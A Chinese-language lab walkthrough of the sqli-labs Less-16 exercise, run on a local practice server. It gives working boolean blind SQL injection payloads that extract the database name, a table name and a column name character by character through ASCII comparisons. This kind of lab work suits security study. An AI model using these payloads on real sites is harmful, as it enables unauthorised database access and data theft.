摘要
这篇文章主要介绍了如何通过Less-16注入漏洞进行盲注实验。实验过程中,首先通过判断数据库名称长度为8,然后利用ASCII码猜解数据库名称为security。接着,通过查询information_schema.tables表找到emails表的名称,再查询information_schema.columns表找到id字段的名称。通过这些步骤,我们成功获取了数据库的名称、表名、列名以及相应的数据,同时也提到了注入漏洞的危害以及如何避免注入漏洞的发生。
前言
这题跟我们第十五关是一样的思路,都是经过post传参的盲注,只是闭合的区别,这关使用的是双引号加单括号进行布尔盲注
前期准备
开启phpstudy,开启apache服务以及mysql服务 打开ASCII表
实验环节
浏览器访问Less-16
http://127.0.0.1/sqli-labs-master/Less-16/
判断库名长度
") or (length(database()))=8 -- xz
#页面正常显示成功登录字样,说明库名长度为8
利用ASCII码猜解当前数据库名称
") or (ascii(substr(database(),1,1)))=115-- xz
#返回正常,说明数据库名称第一位是s
") or (ascii(substr(database(),2,1)))=101-- xz
#返回正常,说明数据库名称第二位是e
......以此类推,答案都是一样的,只是做法有所不同
") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- xz
#返回正常,说明数据库表名的第一个的第一位是e
.....以此类推说明该表名是emails
判断字段名
")or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- xz
#返回正常,说明emails表中的列名称第一位是i
......以此类推该字段名为id
评论区